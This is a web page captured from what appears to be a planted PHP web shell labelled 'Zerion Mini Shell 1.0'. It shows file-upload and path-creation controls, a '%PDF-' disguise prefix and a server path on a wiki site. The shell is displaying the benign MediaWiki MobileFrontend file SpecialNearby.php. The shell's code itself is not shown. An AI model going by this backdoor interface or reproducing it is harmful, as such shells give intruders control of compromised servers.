%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /www/varak.net/wiki.varak.net/extensions/MobileFrontend/includes/specials/
Upload File :
Create Path :
Current File : /www/varak.net/wiki.varak.net/extensions/MobileFrontend/includes/specials/SpecialNearby.php

<?php

/**
 * Provide the Special page "Nearby" with location based articles
 */
class SpecialNearby extends MobileSpecialPage {
	/** @var boolean $hasDesktopVersion Does this special page has a desktop version? */
	protected $hasDesktopVersion = true;

	/**
	 * Construct function
	 */
	public function __construct() {
		parent::__construct( 'Nearby' );
		$this->listed = true;
	}

	/**
	 * Render Special Page Nearby
	 * @param string $par Parameter submitted as subpage
	 */
	public function executeWhenAvailable( $par = '' ) {
		$this->setHeaders();

		$output = $this->getOutput();
		$output->addBodyClasses( 'nearby-accept-pending' );
		// set config
		$output->addJsConfigVars( 'wgMFNearbyRange', $this->getMFConfig()->get( 'MFNearbyRange' ) );
		$output->addModuleStyles( [ 'mobile.nearby.images' ] );
		$output->setPageTitle( $this->msg( 'mobile-frontend-nearby-title' ) );

		$html = Html::openElement( 'div', [ 'id' => 'mf-nearby-info-holder' ] )
				. Html::element( 'div', [
					'class' => 'mw-ui-icon mw-ui-icon-element mw-ui-mf-nearby-image-info mw-ui-icon-large icon'
				] )
				. Html::element( 'h3', [],
					$this->msg( 'mobile-frontend-nearby-info-heading' )->text() )
				. Html::element( 'div', [ 'class' => 'desc' ],
					$this->msg( 'mobile-frontend-nearby-info-description' )->text() )
				. Html::openElement( 'div', [ 'class' => 'jsonly' ] )
					. Html::linkButton( $this->msg( 'mobile-frontend-nearby-info-show-button' )->text(),
						[ 'id' => 'showArticles', 'class' => 'mw-ui-progressive' ] )
				. Html::closeElement( 'div' )
			. Html::closeElement( 'div' )

			. Html::openElement( 'div',
				[
					'class' => 'content-unstyled',
					'id' => 'mw-mf-nearby',
				]
			) .
			MobileUI::contentElement(
				Html::errorBox(
					Html::element( 'h2', [],
						$this->msg( 'mobile-frontend-nearby-requirements' )->text() ) .
					Html::element( 'p', [],
						$this->msg( 'mobile-frontend-nearby-requirements-guidance' )->text() )
				),
				'noscript'
			) .
			// #mw-mf-nearby
			Html::closeElement( 'div' );

		$output->addHTML( $html );
	}

	/**
	 * @return string
	 */
	protected function getGroupName() {
		return 'pages';
	}
}

Zerion Mini Shell 1.0